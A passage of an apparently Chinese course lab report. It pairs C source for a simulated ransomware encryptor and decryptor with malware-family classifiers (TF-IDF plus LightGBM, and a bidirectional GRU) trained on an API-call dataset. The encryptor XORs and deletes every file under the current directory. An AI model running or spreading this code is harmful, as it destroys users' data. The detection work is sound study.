    • 遍历加密文件,使用相同的XOR解密逻辑还原原始文件。
    • 删除加密文件,恢复文件原始状态。
代码逻辑
  • 文件遍历:使用Windows API递归遍历文件夹。
  • 文件操作:基于FILE*文件指针读写文件。
安全注意事项
  • 仅供学习使用,禁止用于任何非法目的。
  • 所有操作应限制在“测试文件夹”中,避免误操作导致数据丢失。

    encode-main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<windows.h>
#include"funcs.h"


int main() {
char buff[MAX_PATH];
GetCurrentDirectory(MAX_PATH, buff);
findFile(buff);
printf("Oh, ho, you got it\n");
system("pause");
return 0;
}

encode-funcs.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include"funcs.h"
#include<stdio.h>
#include<windows.h>

void findFile(char* pathName) {
char currFile[MAX_PATH]; // 暂时存储每个文件名
memset(currFile, 0, MAX_PATH);
sprintf(currFile, "%s\\*.*", pathName);
_WIN32_FIND_DATAA findData;
HANDLE hFile = FindFirstFile(currFile, &findData);
if (hFile == INVALID_HANDLE_VALUE)
return;

int ret = 0;
while (1) {
memset(currFile, 0, MAX_PATH);
sprintf(currFile, "%s\\%s", pathName, findData.cFileName);
// 检查文件属性--文件还是文件夹?
if (findData.cFileName[0] == '.'); //对特殊文件夹不进行处理
else if ((findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) //如果是普通文件夹,递归调用findFile函数
findFile(currFile);
else //否则,处理当前文件
enCode(currFile);

ret = FindNextFile(hFile, &findData);
if (!ret)
break;
}
}

void enCode(char* pathFile) {
//打开待加密文件,创建加密后文件
FILE* fpSrc = fopen(pathFile, "rb"); //只读字节流
char buff[MAX_PATH];
sprintf(buff, "%s.exe", pathFile);
FILE* fpDst = fopen(buff, "wb"); //只写字节流

if (fpSrc == NULL || fpDst == NULL)
return;
//以单个字节循环读取待加密文件内容,并写入加密文件中
char currByte;
while (1) {
int count = fread(&currByte, 1, 1, fpSrc);
if (count < 1) //没读到
break;
currByte ^= 0x66; //简单异或加密法
fwrite(&currByte, 1, 1, fpDst); //写入加密文件
}
fclose(fpSrc);
fclose(fpDst);
remove(pathFile); //删除原文件
}

encode-funcs.h

1
2
3
4
5
6
7
8
#pragma once
#pragma warning(disable : 4996)

// 在指定路径下递归寻找所有文件
void findFile(char* pathName);

// 加密操作
void enCode(char* pathFile);

decode-main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<windows.h>
#include"funcs.h"


int main() {
char buff[MAX_PATH];
GetCurrentDirectory(MAX_PATH, buff);
findFile(buff);
printf("Oh, ho, all file recovered!\n");
system("pause");
return 0;
}

decode-funcs.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include"funcs.h"
#include<stdio.h>
#include<windows.h>

void findFile(char* pathName) {
char currFile[MAX_PATH]; // 暂时存储每个文件名
memset(currFile, 0, MAX_PATH);
sprintf(currFile, "%s\\*.*", pathName);
_WIN32_FIND_DATAA findData;
HANDLE hFile = FindFirstFile(currFile, &findData);
if (hFile == INVALID_HANDLE_VALUE)
return;

int ret = 0;
while (1) {
memset(currFile, 0, MAX_PATH);
sprintf(currFile, "%s\\%s", pathName, findData.cFileName);
// 检查文件属性--文件还是文件夹?
if (findData.cFileName[0] == '.'); //对特殊文件夹不进行处理
else if ((findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) //如果是普通文件夹,递归调用findFile函数
findFile(currFile);
else //否则,处理当前文件(安全起见这里仅打印文件名)
deCode(currFile);

ret = FindNextFile(hFile, &findData);
if (!ret)
break;
}
}

void deCode(char* pathFile) {
//打开待解密文件,创建解密后文件
FILE* fpSrc = fopen(pathFile, "rb"); //只读字节流
char buff[MAX_PATH];
memset(buff, 0, MAX_PATH);
//去掉.exe后缀
if (dropEXE(pathFile, buff) != 0) //如果返回非0,则说明当前文件非.exe结尾,不进行解密处理
return;
FILE* fpDst = fopen(buff, "wb"); //只写字节流
if (fpSrc == NULL || fpDst == NULL)
return;
//以单个字节循环读取待解密文件内容,并写入解密文件中
char currByte;
while (1) {
int count = fread(&currByte, 1, 1, fpSrc);
if (count < 1) //没读到
break;
currByte ^= 0x66; //简单异或解密法
fwrite(&currByte, 1, 1, fpDst); //写入解密文件
}
fclose(fpSrc);
fclose(fpDst);
printf("Congrat! %s recoveried successfully!\n", buff);
remove(pathFile);
}

int dropEXE(char* fpSrc, char* fpDst) {
int n = strlen(fpSrc);
if (n < 4)
return 1;
char check[5];
for (int i = 0; i < 4; ++i)
check[i] = *(fpSrc + n - 4 + i);
check[4] = '\0';
if (strcmp(check, ".exe") != 0) {
printf("sorry, %s is not a .exe file, recovery failed!\n", fpSrc);
return 1;
}
strncpy(fpDst, fpSrc, n - 4);
return 0;
}

decode-funcs.h

1
2
3
4
5
6
7
8
9
#pragma once
#pragma warning(disable : 4996)

// 在指定路径下递归寻找所有文件
void findFile(char* pathName);

// 解密操作
void deCode(char* pathFile);
int dropEXE(char* fpSrc, char* fpDst);

第二部分:基于机器学习的恶意程序检测

恶意软件是一种被设计用来对目标计算机造成破坏或占用目标计算机资源的软件,包括蠕虫、木马、勒索病毒等。近年来,随着虚拟货币的流行,挖矿类恶意程序也大规模出现,严重侵害用户利益。通过结合机器学习和深度学习技术,能够有效提高恶意程序的检测率和泛化能力。

本实验以阿里云安全恶意程序检测竞赛提供的恶意程序检测数据集为基础,探索恶意程序检测的多种方法,包括:

  1. 模拟勒索病毒行为。
  2. 基于机器学习的恶意程序检测。
  3. 基于深度学习的恶意程序分类。
数据集介绍:

阿里云安全恶意程序检测数据集 (阿里云数据集)

本次实验使用的数据集由阿里云提供,包含从沙箱模拟运行后的Windows可执行程序API调用序列。数据总计约6亿条,包括多种恶意程序类型和正常文件的数据。数据集主要特点和内容如下:

1. 数据结构
字段名称 数据类型 解释
file_id bigint 文件编号
label bigint 文件标签:0(正常)、1(勒索病毒)、2(挖矿程序)、3(DDoS木马)、4(蠕虫病毒)、5(感染型病毒)、6(后门程序)、7(木马程序)
api string 文件调用的API名称
tid bigint 调用API的线程编号
return_value string API返回值
index string API调用的顺序编号,在同线程中保证顺序,但不同线程之间无顺序关系
2. 数据规模
  • 训练数据:约9000万次调用,文件1万多个(以文件编号汇总)。
  • 测试数据:约8000万次调用,包含约1万个文件。
  • 每个文件中的API调用可能超过5000条,超出部分已截断。
3. 数据预处理
  • 数据均已脱敏,确保隐私和安全。
  • 每条记录包含完整的调用上下文及线程信息,有助于模型捕获程序行为特征。
4. 评测指标

使用LogLoss(对数损失)作为评测指标:

$\text{logloss} = -\frac{1}{N} \sum{i=1}^N \sum{j=1}^M \left[ y{ij} \log(P{ij}) + (1 - y{ij}) \log(1 - P{ij}) \right]$

其中:

  • $M$:表示分类数(总共6个类别)。
  • $N$:表示测试集样本总数。
  • $y_{ij}$:第$i$个样本是否属于第$j$类(是-1,否-0)。
  • $P_{ij}$:第$i$个样本被预测为第$j$类的概率(如:prob0, prob1, prob2, prob3, prob4, prob5 ,prob6,prob7)。
实验方法
  1. 特征提取:
    • 将恶意软件的数据格式化,主要包括API调用序列、线程信息等。
    • 统一数据的API字段编码,使用LabelEncoder为API字段生成整数值,便于模型处理。
    • 对API调用序列长度进行填充/截断(最大长度设为5000)。
    • 基于TF-IDF对API调用文本进行特征提取。
  2. 模型训练:
    • 使用TF-IDF提取特征,结合LightGBM分类模型。
    • TF-IDF使用一元和二元词组,特征数量限制为1000。
    • 使用5折交叉验证评估模型性能。
实验结果
  1. 代码实现:
    • 特征提取:基于TF-IDF的API序列向量化。
    • 模型训练:使用LightGBM进行多分类任务。
  2. 性能表现:
    • 平均验证集准确率:90.24%
    • 每折交叉验证的准确率分布:
      • 折1:90.82%
      • 折2:89.67%
      • 折3:90.49%
      • 折4:89.41%
      • 折5:90.78%
  3. 特征贡献:
    • TF-IDF特征对模型贡献显著,尤其是高频API组合。线程相关统计特征如调用次数、API分布等也显著提升了分类效果。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
PS D:\chen_hao\病毒检测机器学习> & D:/ProgramSoftware/anaconda3/python.exe d:/chen_hao/病毒检测机器学习/TF-IDF_LightGBM.py
检查GPU状态...
GPU 检查失败,将使用 CPU 模式: module 'lightgbm' has no attribute 'get_gpu_device_count'
读取训练数据...
读取测试数据...
训练数据形状: (89806693, 5)
测试数据形状: (79288375, 4)
准备训练数据...
编码标签...
原始标签分布:
label
5 33033543
0 16375107
7 15081535
2 9693969
3 8117585
6 4586578
1 2254561
4 663815
Name: count, dtype: int64
标签映射:
{0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7}
提取基础统计特征...
计算基础聚合特征...
计算API序列特征...
计算线程特征...
提取TF-IDF特征...
准备API序列...
训练TF-IDF向量化器...
开始5折交叉验证训练...

训练折数 1/5
Training until validation scores don't improve for 50 rounds
[100] valid_0's multi_logloss: 0.267747
Early stopping, best iteration is:
[103] valid_0's multi_logloss: 0.267092
Fold 1 验证集准确率: 0.9082

训练折数 2/5
Training until validation scores don't improve for 50 rounds
[100] valid_0's multi_logloss: 0.315787
Early stopping, best iteration is:
[93] valid_0's multi_logloss: 0.314403
Fold 2 验证集准确率: 0.8967

训练折数 3/5
Training until validation scores don't improve for 50 rounds
[100] valid_0's multi_logloss: 0.299846
Early stopping, best iteration is:
[88] valid_0's multi_logloss: 0.298147
Fold 3 验证集准确率: 0.9049

训练折数 4/5
Training until validation scores don't improve for 50 rounds
[100] valid_0's multi_logloss: 0.331149
Early stopping, best iteration is:
[83] valid_0's multi_logloss: 0.328906
Fold 4 验证集准确率: 0.8941

训练折数 5/5
Training until validation scores don't improve for 50 rounds
[100] valid_0's multi_logloss: 0.292818
Early stopping, best iteration is:
[95] valid_0's multi_logloss: 0.291777
Fold 5 验证集准确率: 0.9078

平均验证集准确率: 0.9024
生成预测结果...
准备测试数据...
编码标签...
提取基础统计特征...
计算基础聚合特征...
计算API序列特征...
计算线程特征...
提取TF-IDF特征...
准备API序列...
生成预测...
保存预测结果...
完成!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
import numpy as np
import pandas as pd
from sklearn.metrics import accuracy_score
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.model_selection import train_test_split, StratifiedKFold
import lightgbm as lgb
import warnings

warnings.filterwarnings('ignore')


def check_gpu():
"""检查GPU是否可用"""
try:
lgb_version = lgb.__version__
is_gpu_available = lgb.get_gpu_device_count() > 0
print(f"LightGBM 版本: {lgb_version}")
print(f"GPU 可用: {is_gpu_available}")
if is_gpu_available:
print(f"可用 GPU 数量: {lgb.get_gpu_device_count()}")
except Exception as e:
print(f"GPU 检查失败,将使用 CPU 模式: {e}")
return False
return is_gpu_available


def optimize_dtypes(df):
"""优化数据类型以减少内存使用"""
for col in df.columns:
if df[col].dtype == 'float64':
df[col] = df[col].astype('float32')
elif df[col].dtype == 'int64':
df[col] = df[col].astype('int32')
return df


class MalwareClassifier:
def __init__(self, use_gpu=True):
self.tfidf = None
self.models = None
self.feature_importances = None
self.use_gpu = use_gpu
self.label_map = None

def _encode_labels(self, train_data=None, test_data=None):
"""标签编码"""
if train_data is not None and 'label' in train_data.columns:
print("原始标签分布:")
print(train_data['label'].value_counts())
unique_labels = sorted(train_data['label'].unique())
self.label_map = {label: idx for idx, label in enumerate(unique_labels)}
print("标签映射:")
print(self.label_map)
train_data['label'] = train_data['label'].map(self.label_map)

if test_data is not None and 'label' in test_data.columns:
test_data['label'] = test_data['label'].map(self.label_map)

return train_data, test_data

def prepare_features(self, train_data=None, test_data=None):
"""准备所有特征"""
print("编码标签...")
train_data, test_data = self._encode_labels(train_data, test_data)

if train_data is not None:
print("提取基础统计特征...")
train_stats = self._extract_basic_stats(train_data)
print("提取TF-IDF特征...")
if test_data is not None:
train_tfidf, test_tfidf = self._extract_tfidf_features(train_data, test_data)
test_stats = self._extract_basic_stats(test_data)
train_features = pd.merge(train_stats, train_tfidf, on='file_id')
test_features = pd.merge(test_stats, test_tfidf, on='file_id')
return train_features, test_features
else:
train_tfidf = self._extract_tfidf_features(train_data)
return pd.merge(train_stats, train_tfidf, on='file_id')
elif test_data is not None:
print("提取基础统计特征...")
test_stats = self._extract_basic_stats(test_data)
print("提取TF-IDF特征...")
test_tfidf = self._extract_tfidf_features(test_data)
return pd.merge(test_stats, test_tfidf, on='file_id')

def _extract_basic_stats(self, data):
"""提取基础统计特征"""
if 'label' in data.columns:
df = data.groupby('file_id')['label'].first().reset_index()
else:
df = pd.DataFrame({'file_id': data['file_id'].unique()})

print("计算基础聚合特征...")
agg_features = data.groupby('file_id').agg({
'api': ['count', 'nunique'],
'tid': 'nunique',
'index': ['min', 'max', 'mean', 'std']
}).reset_index()
agg_features.columns = ['file_id', 'api_calls', 'unique_apis',
'thread_count', 'min_index', 'max_index',
'mean_index', 'std_index']

df = pd.merge(df, agg_features, on='file_id', how='left')

print("计算API序列特征...")
api_counts = data.groupby(['file_id', 'api']).size().reset_index(name='api_freq')
top_apis = api_counts.groupby('file_id')['api_freq'].agg(['max', 'mean']).reset_index()
top_apis.columns = ['file_id', 'max_api_freq', 'mean_api_freq']

df = pd.merge(df, top_apis, on='file_id', how='left')

print("计算线程特征...")
thread_stats = data.groupby(['file_id', 'tid']).size().reset_index(name='apis_per_thread')
thread_agg = thread_stats.groupby('file_id')['apis_per_thread'].agg(['mean', 'std', 'max']).reset_index()
thread_agg.columns = ['file_id', 'mean_apis_per_thread', 'std_apis_per_thread', 'max_apis_per_thread']

df = pd.merge(df, thread_agg, on='file_id', how='left')

df['unique_api_ratio'] = df['unique_apis'] / (df['api_calls'] + 1)
df['api_per_thread_ratio'] = df['api_calls'] / (df['thread_count'] + 1)

df = df.fillna(0)
return df

def _extract_tfidf_features(self, train_data, test_data=None):
def prepare_api_sequence(data):
return data.groupby('file_id').agg({
'api': lambda x: ' '.join(x.astype(str))
}).reset_index().rename(columns={'api': 'api_sequence'})

print("准备API序列...")
train_sequences = prepare_api_sequence(train_data)

if self.tfidf is None:
print("训练TF-IDF向量化器...")
self.tfidf = TfidfVectorizer(
max_features=1000,
ngram_range=(1, 2),
min_df=5,
dtype=np.float32,
token_pattern=r'(?u)\b\w+\b'
)
tfidf_features = self.tfidf.fit_transform(train_sequences['api_sequence'])
else:
tfidf_features = self.tfidf.transform(train_sequences['api_sequence'])

feature_names = [f'tfidf_{i}' for i in range(tfidf_features.shape[1])]
tfidf_df = pd.DataFrame(
tfidf_features.toarray(),
columns=feature_names,
dtype=np.float32
)
tfidf_df['file_id'] = train_sequences['file_id'].values

if test_data is not None:
print("处理测试数据TF-IDF特征...")
test_sequences = prepare_api_sequence(test_data)
test_features = self.tfidf.transform(test_sequences['api_sequence'])
test_tfidf_df = pd.DataFrame(
test_features.toarray(),
columns=feature_names,
dtype=np.float32
)
test_tfidf_df['file_id'] = test_sequences['file_id'].values
return tfidf_df, test_tfidf_df

return tfidf_df

def train(self, train_data, n_folds=5):
print("准备训练数据...")
train_features = self.prepare_features(train_data)

X = train_features.drop(['file_id', 'label'], axis=1)
y = train_features['label']

num_classes = len(y.unique())

params = {
'objective': 'multiclass',
'num_class': num_classes,
'metric': 'multi_logloss',
'boosting_type': 'gbdt',
'num_leaves': 31,
'learning_rate': 0.05,
'feature_fraction': 0.9,
'bagging_fraction': 0.8,
'bagging_freq': 5,
'verbose': -1,
'max_bin': 63,
'min_data_in_leaf': 50,
'num_threads': 8
}

if self.use_gpu:
gpu_params = {
'device': 'gpu',
'gpu_platform_id': 0,
'gpu_device_id': 0,
'device_type': 'cuda',
'tree_learner': 'feature'
}
params.update(gpu_params)

kf = StratifiedKFold(n_splits=n_folds, shuffle=True, random_state=42)
self.models = []
self.feature_importances = pd.DataFrame()
validation_accuracies = []

print(f"开始{n_folds}折交叉验证训练...")
for fold, (train_idx, val_idx) in enumerate(kf.split(X, y), 1):
print(f"\n训练折数 {fold}/{n_folds}")
X_train, X_val = X.iloc[train_idx], X.iloc[val_idx]
y_train, y_val = y.iloc[train_idx], y.iloc[val_idx]

train_data = lgb.Dataset(X_train, y_train)
valid_data = lgb.Dataset(X_val, y_val, reference=train_data)

model = lgb.train(
params,
train_data,
num_boost_round=1000,
valid_sets=[valid_data],
callbacks=[
lgb.early_stopping(50),
lgb.log_evaluation(100)
]
)

self.models.append(model)

fold_importance = pd.DataFrame({
'feature': X.columns,
f'importance_fold_{fold}': model.feature_importance()
})
self.feature_importances = pd.concat([
self.feature_importances,
fold_importance
], axis=1)

val_preds = model.predict(X_val)
val_preds = np.argmax(val_preds, axis=1)
val_accuracy = accuracy_score(y_val, val_preds)
validation_accuracies.append(val_accuracy)
print(f"Fold {fold} 验证集准确率: {val_accuracy:.4f}")

mean_accuracy = np.mean(validation_accuracies)
print(f"\n平均验证集准确率: {mean_accuracy:.4f}")

def predict(self, test_data):
print("准备测试数据...")
test_features = self.prepare_features(test_data=test_data)

print("生成预测...")
X_test = test_features.drop(['file_id'], axis=1)

predictions = np.zeros((len(X_test), len(self.label_map)), dtype=np.float32)
for model in self.models:
predictions += model.predict(X_test)
predictions /= len(self.models)

submission = pd.DataFrame({
'file_id': test_features['file_id']
})

for i, label in enumerate(sorted(self.label_map.keys())):
submission[f'prob_{label}'] = predictions[:, i]

return submission


def load_data_in_chunks(train_path, test_path, chunk_size=1000000):
print("读取训练数据...")
train_chunks = pd.read_csv(train_path, chunksize=chunk_size)
train_data = pd.concat(train_chunks)

print("读取测试数据...")
test_chunks = pd.read_csv(test_path, chunksize=chunk_size)
test_data = pd.concat(test_chunks)

train_data = optimize_dtypes(train_data)
test_data = optimize_dtypes(test_data)

print(f"训练数据形状: {train_data.shape}")
print(f"测试数据形状: {test_data.shape}")

return train_data, test_data


def main():
print("检查GPU状态...")
gpu_available = check_gpu()

try:
train_data, test_data = load_data_in_chunks(
'input/train.csv',
'input/test.csv'
)

classifier = MalwareClassifier(use_gpu=gpu_available)

classifier.train(train_data, n_folds=5)

print("生成预测结果...")
submission = classifier.predict(test_data)

print("保存预测结果...")
submission.to_csv('submission.csv', index=False)

if classifier.feature_importances is not None:
classifier.feature_importances.to_csv('feature_importances.csv', index=False)

print("完成!")

except Exception as e:
print(f"发生错误: {str(e)}")
import traceback
traceback.print_exc()


if __name__ == "__main__":
main()

  1. 结果展示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
file_id,prob_0,prob_1,prob_2,prob_3,prob_4,prob_5,prob_6,prob_7
1,0.0024434612,0.00034864913,0.9696685,0.0078575,0.00039957318,0.002738173,0.0044820085,0.012062186
2,0.7480677,0.0013819844,0.0049213427,0.003764731,0.0005452622,0.045439627,0.017060611,0.17881876
3,0.99866915,2.787807e-05,0.00014846055,0.00011570427,5.9706535e-06,0.00043032583,6.843034e-05,0.00053410063
4,0.051594943,0.0038525928,0.035013992,0.065091416,0.0038617428,0.044863444,0.22614911,0.5695728
5,0.9948373,0.00013502031,0.0009673423,0.0006626427,2.3118486e-05,0.0015179071,0.00018578261,0.0016709866
6,0.002266401,0.00025418383,0.006541302,0.0007698187,3.052294e-05,0.98704815,0.00070866174,0.0023810265
7,0.0043757814,0.00055977836,0.0015399179,0.70781934,0.002132857,0.025764057,0.0015818799,0.2562264
8,0.93392134,0.0009572902,0.0076661445,0.0061014136,0.00012724655,0.016519673,0.003812942,0.030893898
9,0.85189515,0.0010084683,0.0036384996,0.0051778518,0.00022519422,0.07421501,0.014758055,0.04908181
10,0.37684268,0.006323976,0.20794848,0.0114947595,0.00050486217,0.12723994,0.03782148,0.23182385
11,0.0064604813,0.0006989088,0.0032121348,0.0008223769,5.8260433e-05,0.9772016,0.0031507823,0.008395462
12,0.9656893,0.0048273774,0.009747942,0.001571597,4.1226842e-05,0.0074556046,0.000666464,0.010000597
13,0.9976041,5.375104e-05,0.00030956598,0.00024548933,1.8375762e-05,0.0011245721,9.734804e-05,0.00054680154
14,0.9703827,0.00031270864,0.01056415,0.008323639,0.00010526275,0.0041897697,0.00083469774,0.0052871224
15,0.9724293,0.0001765955,0.020143056,0.0005281937,5.2647345e-05,0.0018647272,0.00078569603,0.004019852
16,0.99562645,7.9901416e-05,0.00037493333,0.00046305108,1.6109376e-05,0.0015119539,0.00081107346,0.0011165042
17,0.001069112,0.00026497667,0.004910701,0.0060763317,0.00013840488,0.96927947,0.0017614173,0.016499612
18,0.986684,0.00047525796,0.0021059073,0.0008186839,3.3282307e-05,0.004973329,0.0010258693,0.0038835872
19,0.9890321,0.00015959739,0.002707534,0.0009250467,5.465704e-05,0.0030247762,0.00037867084,0.0037176465
.png) #### 第三部分:基于深度学习的恶意程序检测与分类 ##### **实验方法** 1. 特征: - 使用API调用序列直接作为输入。 2. 模型结构: - 基于双向GRU的深度学习模型。 - 嵌入层将API序列转换为向量,双向GRU捕获序列时序信息,全连接层输出分类结果。 3. 训练与验证: - 使用交叉熵损失函数,Adam优化器。 - 保存验证集损失最小的模型。 ##### **实验结果** 1. 代码实现: - 使用PyTorch实现深度学习模型。 2. 性能表现: - 最终验证集准确率达到**83.66%**。 - 模型在20个epoch中逐步收敛,训练准确率从初始的42.72%提升至84.67%。 - 验证集损失显著降低,证明模型具有良好的泛化能力。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import os
import numpy as np
import pandas as pd
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import DataLoader, Dataset
from sklearn.preprocessing import LabelEncoder
from sklearn.model_selection import train_test_split
from tqdm import tqdm

# 设置随机种子和设备
SEED = 42
np.random.seed(SEED)
torch.manual_seed(SEED)
DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"Using device: {DEVICE}")

# 加载数据
train_data = pd.read_csv('input/train.csv')
test_data = pd.read_csv('input/test.csv')

# 编码API
apis = list(set(list(train_data.api.unique()) + list(test_data.api.unique())))
enc = LabelEncoder().fit(apis)
train_data['enc'] = enc.transform(train_data.api)
test_data['enc'] = enc.transform(test_data.api)

# 聚合每个文件的API序列
tr = train_data.groupby('file_id').enc.apply(list).reset_index()
te = test_data.groupby('file_id').enc.apply(list).reset_index()

# 提取标签
label = train_data.groupby('file_id')['label'].agg('first').reset_index()
num_classes = label.label.nunique()
label_encoder = LabelEncoder()
label['label'] = label_encoder.fit_transform(label['label'])

# 填充序列
MAX_SEQ_LEN = 5000
tr['enc'] = tr['enc'].apply(lambda x: x[:MAX_SEQ_LEN] if len(x) > MAX_SEQ_LEN else x + [0] * (MAX_SEQ_LEN - len(x)))
te['enc'] = te['enc'].apply(lambda x: x[:MAX_SEQ_LEN] if len(x) > MAX_SEQ_LEN else x + [0] * (MAX_SEQ_LEN - len(x)))

# 转换为 PyTorch Dataset
class VirusDataset(Dataset):
def __init__(self, sequences, labels=None):
self.sequences = torch.tensor(sequences, dtype=torch.long)
self.labels = torch.tensor(labels, dtype=torch.long) if labels is not None else None

def __len__(self):
return len(self.sequences)

def __getitem__(self, idx):
if self.labels is not None:
return self.sequences[idx], self.labels[idx]
else:
return self.sequences[idx]

# 创建数据集
X_train, X_val, y_train, y_val = train_test_split(tr['enc'].tolist(), label['label'].tolist(), test_size=0.2, random_state=SEED)
train_dataset = VirusDataset(X_train, y_train)
val_dataset = VirusDataset(X_val, y_val)
test_dataset = VirusDataset(te['enc'].tolist())

# 数据加载器
BATCH_SIZE = 256
train_loader = DataLoader(train_dataset, batch_size=BATCH_SIZE, shuffle=True)
val_loader = DataLoader(val_dataset, batch_size=BATCH_SIZE, shuffle=False)
test_loader = DataLoader(test_dataset, batch_size=BATCH_SIZE, shuffle=False)

# 模型定义
class GRUModel(nn.Module):
def __init__(self, vocab_size, embed_dim, hidden_dim, num_classes):
super(GRUModel, self).__init__()
self.embedding = nn.Embedding(vocab_size, embed_dim, padding_idx=0)
self.gru = nn.GRU(embed_dim, hidden_dim, batch_first=True, bidirectional=True)
self.fc = nn.Linear(hidden_dim * 2, num_classes)
self.dropout = nn.Dropout(0.3)

def forward(self, x):
x = self.embedding(x) # x shape: (batch_size, seq_len, embed_dim)
x, _ = self.gru(x) # x shape: (batch_size, seq_len, hidden_dim * 2)
x = x[:, -1, :] # 取最后一个时间步的输出 (batch_size, hidden_dim * 2)
x = self.dropout(x)
x = self.fc(x) # x shape: (batch_size, num_classes)
return x

# 超参数
VOCAB_SIZE = len(apis) + 1
EMBED_DIM = 50
HIDDEN_DIM = 128
NUM_CLASSES = num_classes
LR = 0.001
EPOCHS = 20

# 初始化模型、损失函数和优化器
model = GRUModel(VOCAB_SIZE, EMBED_DIM, HIDDEN_DIM, NUM_CLASSES).to(DEVICE)
criterion = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.parameters(), lr=LR)

# 检查是否存在模型文件
MODEL_PATH = 'best_gru_model.pth'
if os.path.exists(MODEL_PATH):
print(f"检测到已有模型文件 {MODEL_PATH},直接加载模型进行预测...")
model.load_state_dict(torch.load(MODEL_PATH))
else:
# 训练和验证函数
def train_epoch(model, dataloader, criterion, optimizer):
model.train()
epoch_loss, correct, total = 0, 0, 0
for sequences, labels in tqdm(dataloader, desc="Training"):
sequences, labels = sequences.to(DEVICE), labels.to(DEVICE)
optimizer.zero_grad()
outputs = model(sequences)
loss = criterion(outputs, labels)
loss.backward()
optimizer.step()
epoch_loss += loss.item() * sequences.size(0)
preds = outputs.argmax(dim=1)
correct += (preds == labels).sum().item()
total += labels.size(0)
return epoch_loss / total, correct / total

def validate_epoch(model, dataloader, criterion):
model.eval()
epoch_loss, correct, total = 0, 0, 0
with torch.no_grad():
for sequences, labels in tqdm(dataloader, desc="Validation"):
sequences, labels = sequences.to(DEVICE), labels.to(DEVICE)
outputs = model(sequences)
loss = criterion(outputs, labels)
epoch_loss += loss.item() * sequences.size(0)
preds = outputs.argmax(dim=1)
correct += (preds == labels).sum().item()
total += labels.size(0)
return epoch_loss / total, correct / total

# 开始训练模型
best_val_loss = float('inf')
for epoch in range(EPOCHS):
print(f"\nEpoch {epoch + 1}/{EPOCHS}")
train_loss, train_acc = train_epoch(model, train_loader, criterion, optimizer)
val_loss, val_acc = validate_epoch(model, val_loader, criterion)
print(f"Train Loss: {train_loss:.4f}, Train Accuracy: {train_acc:.4f}")
print(f"Validation Loss: {val_loss:.4f}, Validation Accuracy: {val_acc:.4f}")
if val_loss < best_val_loss:
best_val_loss = val_loss
torch.save(model.state_dict(), MODEL_PATH)
print(f"Model saved at {MODEL_PATH}!")

# 测试集预测
model.eval()
test_preds = []
with torch.no_grad():
for sequences in tqdm(test_loader, desc="Testing"):
sequences = sequences.to(DEVICE)
outputs = model(sequences)
preds = torch.softmax(outputs, dim=1).cpu().numpy()
test_preds.append(preds)

test_preds = np.concatenate(test_preds, axis=0)

# 创建提交文件
sub = pd.DataFrame()
sub['file_id'] = te['file_id'] # 使用测试集中的 file_id 列

# 将每个类别的预测概率填入
for i in range(NUM_CLASSES):
sub[f'prob{i}'] = test_preds[:, i]

# 保存为提交文件
sub.to_csv('pytorch_gru_submission.csv', index=False)
print("预测完成并保存至 pytorch_gru_submission.csv")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
